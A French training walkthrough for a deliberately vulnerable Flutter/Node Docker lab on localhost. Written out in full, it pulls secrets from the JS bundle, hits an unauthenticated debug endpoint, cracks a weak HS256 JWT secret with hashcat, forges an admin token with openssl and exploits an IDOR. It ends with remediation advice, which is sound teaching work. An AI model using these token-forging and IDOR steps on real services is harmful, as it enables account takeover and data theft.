Aller au contenu principal

Cloud, mobile et IoT — Démonstration guidée

On applique concrètement, sur une app Flutter volontairement vulnérable, le raisonnement pentest mobile de 2026 : le client n'est jamais une frontière de sécurité, tout ce qui vit sur le téléphone finit par sortir et le vrai contrôle est côté API.

Ce que vous saurez faire

  • Reconnaître les cinq défauts classiques d'une app Flutter mal codée en les identifiant depuis le bundle et depuis le comportement de l'API.
  • Enchaîner ces défauts en une chaîne courte et une chaîne longue.
  • Savoir quoi documenter dans le rapport et quelle correction attendre du développeur.

Mise en place

L'atelier utilise un lab Docker sous labs/docker/module-11-mobile-flutter/. Trois conteneurs :

  • app — nginx qui sert le build Flutter Web sur http://localhost:8080.
  • api — backend Node/Express sur http://localhost:3000.
  • attaquant — station Kali (image inskillsec/kali-lab) sur le réseau interne 10.20.40.0/24.

Depuis le repo :

cd labs/docker/module-11-mobile-flutter
docker compose up -d

Vérifiez :

curl -s http://localhost:3000/api/health
# {"status":"ok","service":"m11-api","version":"1.0.0"}

Ouvrez http://localhost:8080 dans votre navigateur : vous voyez la page de login de l'app Flutter Web.

Le déroulé, pas à pas

1. Recon visuelle — DevTools ouvert

Chargez la page, ouvrez l'onglet Network avant de vous connecter. Cliquez sur le bouton Sign in. Vous voyez un POST sur http://localhost:3000/api/auth/login avec un body JSON {"email":"...","password":"..."}. Notez déjà le domaine, le port, et la structure du body : c'est votre carte de l'API.

2. Grep du bundle

L'app Flutter Web charge main.dart.js. Récupérez-le à la main :

curl -s http://localhost:8080/main.dart.js > /tmp/main.dart.js
grep -E "API_BASE_URL|API_KEY|PREMIUM|DEBUG|TOKEN" /tmp/main.dart.js

Sortie attendue :

var API_BASE_URL = 'http://localhost:3000';
var PREMIUM_API_KEY = 'pk_live_M11_flutter_premium_key_do_not_leak';
var DEBUG_ENDPOINT = '/api/debug/env';

Trois découvertes en une commande :

  • L'URL de l'API (vous l'aviez déjà par DevTools mais ce chemin marche aussi sans navigateur).
  • Une clé API premium qui n'aurait jamais dû être dans le client.
  • Un endpoint de debug que le développeur a mis là « pour tester » et qu'il a oublié.
Pourquoi cet endpoint de debug est un piège

Sur une app Flutter réelle, ce genre de string ressort d'un dump reFlutter ou blutter du fichier libapp.so de l'APK. Le résultat est identique : le développeur croit que les constantes Dart sont « compilées », un attaquant les récupère en une commande. La leçon est indépendante de la plateforme.

3. Chemin court — /api/debug/env

Le path /api/debug/env n'est pas dans la logique de l'app, il ne demande aucune authentification. Vous êtes techniquement déjà à destination :

curl -s http://localhost:3000/api/debug/env

Sortie attendue :

{
"warning": "DEBUG ENDPOINT - NE PAS DEPLOYER EN PROD",
"NODE_ENV": "production",
"JWT_SECRET": "s3cr3t2025",
"PREMIUM_API_KEY": "pk_live_M11_flutter_premium_key_do_not_leak",
"M11_FLAG": "FLAG-M11-FLUTTER-MOBILE-2026",
"hostname": "api"
}

Vous avez déjà le flag. Dans un rapport pentest, ce serait le finding n°1, exploitable par n'importe qui, chiffré Critique. Documentez.

4. Bypass client-side — dashboard sans compte

Retour dans le navigateur. Vous n'avez aucun token. Ouvrez la console DevTools et faites :

localStorage.setItem('auth_token', 'not-a-real-token');
window.location.hash = '#/dashboard';

Le dashboard s'affiche. Mais après une seconde, il bascule sur « Session expired » et vous renvoie au login. Pourquoi ?

  • La garde client-side (AuthService.isAuthenticated()) regarde seulement localStorage.auth_token !== null. Le simple fait d'écrire une valeur bidon fait passer le check.
  • L'appel GET /api/me avec le token bidon renvoie un 401, la page détecte et redirige.

Leçon pédagogique : la garde client sert au design, pas à la sécurité. Un développeur qui l'utilise seule pense être protégé, il ne l'est pas.

5. Chemin long — crackage HS256 + forge admin

Créez d'abord un compte normal pour capturer un JWT :

curl -s -X POST http://localhost:3000/api/auth/register \
-H 'Content-Type: application/json' \
-d '{"email":"eve@lab.local","password":"anyPass1!","fullName":"Eve"}' \
| jq

Extrayez le token. Décodez le header et le payload :

TOKEN="<token retourne>"
echo "$TOKEN" | cut -d. -f1 | base64 -d 2>/dev/null; echo
# {"alg":"HS256","typ":"JWT"}
echo "$TOKEN" | cut -d. -f2 | base64 -d 2>/dev/null; echo
# {"sub":4,"email":"eve@lab.local","role":"user","iat":...,"exp":...}

Le header dit HS256 : la signature est un HMAC SHA-256 sur header.payload avec un secret partagé. Ce secret vit uniquement côté serveur, mais s'il est faible, on peut le retrouver par force brute offline :

echo "$TOKEN" > /tmp/token.jwt
hashcat -m 16500 /tmp/token.jwt /usr/share/wordlists/rockyou.txt

Le mot cassé est s3cr3t2025. Vérifiez ensuite avec openssl que la signature de votre token correspond bien à ce secret (facultatif mais pédagogique) :

HEADER=$(echo "$TOKEN" | cut -d. -f1)
PAYLOAD=$(echo "$TOKEN" | cut -d. -f2)
echo -n "$HEADER.$PAYLOAD" | \
openssl dgst -sha256 -mac HMAC -macopt "key:s3cr3t2025" -binary | \
base64 | tr '+/' '-_' | tr -d '='
# Doit coincider avec ce qui suit le second point dans $TOKEN.

Vous forgez maintenant un token avec role=admin, sub=1 :

NEW_HEADER='{"alg":"HS256","typ":"JWT"}'
NEW_PAYLOAD='{"sub":1,"email":"admin@corp.local","role":"admin","iat":1700000000,"exp":9999999999}'
H_B64=$(echo -n "$NEW_HEADER" | base64 -w0 | tr '+/' '-_' | tr -d '=')
P_B64=$(echo -n "$NEW_PAYLOAD" | base64 -w0 | tr '+/' '-_' | tr -d '=')
NEW_SIG=$(echo -n "$H_B64.$P_B64" | \
openssl dgst -sha256 -mac HMAC -macopt "key:s3cr3t2025" -binary | \
base64 -w0 | tr '+/' '-_' | tr -d '=')
FORGED="$H_B64.$P_B64.$NEW_SIG"
echo "$FORGED"

6. IDOR — dump du mot de passe admin en clair

Vous n'avez même pas besoin du JWT forgé pour l'IDOR : le token normal d'eve suffit, l'API ne vérifie pas la propriété.

curl -s http://localhost:3000/api/users/1 -H "Authorization: Bearer $TOKEN" | jq

Sortie attendue :

{
"user": {
"id": 1,
"email": "admin@corp.local",
"password": "AdminP@ssw0rd_secret_2026",
"role": "admin",
"fullName": "Amina Zerouali"
}
}

Le mot de passe est en clair côté backend — deuxième trou majeur à documenter. Sur un vrai backend, ce serait un hash bcrypt, mais beaucoup d'apps mobiles amateurs stockent en clair côté serveur.

7. Accès admin — le flag par la porte

Enfin, l'endpoint admin :

curl -s http://localhost:3000/api/admin/config \
-H "Authorization: Bearer $FORGED" | jq

Sortie attendue :

{
"service": "m11-api",
"jwtAlgorithm": "HS256",
"premiumApiKey": "pk_live_M11_flutter_premium_key_do_not_leak",
"flag": "FLAG-M11-FLUTTER-MOBILE-2026"
}

Même flag que le chemin court, mais obtenu par la porte : c'est ce qu'un vrai pentesteur ferait pour prouver la chaîne complète et pas juste la fuite triviale.

Lire la sortie

Trois signaux que vous devez pouvoir énoncer devant un client :

  • Toute constante Dart finit dans le binaire. Si votre back exige un secret, il n'a rien à faire dans le client mobile. Sur le bundle Flutter Web comme dans un .apk, une bête recherche textuelle suffit.
  • HS256 est cassable dès que le secret n'est pas une entrée de générateur aléatoire. s3cr3t2025 tombe en secondes. Un secret fort mesure au moins 32 octets aléatoires, encodés en base64. Encore mieux : passer à RS256 avec une paire de clés, la clé privée reste côté serveur.
  • IDOR = auth sans autorisation. Un token valide n'est pas une permission. Chaque endpoint qui accepte un :id doit vérifier que l'appelant possède ou peut voir la ressource.

Là où cela dérape

  • Vous tapez le mauvais curl et l'API renvoie Missing token. Vérifiez le format Authorization: Bearer <token>, pas de guillemets superflus.
  • Le crackage hashcat vous dit Line-length exception : votre fichier ne contient qu'une ligne, mais elle doit être le JWT entier (trois parties séparées par des points), pas juste la signature.
  • L'IDOR renvoie 404 : vérifiez que l'ID demandé existe. 1, 2, 3 sont les seeds ; les IDs suivants sont vos propres inscriptions.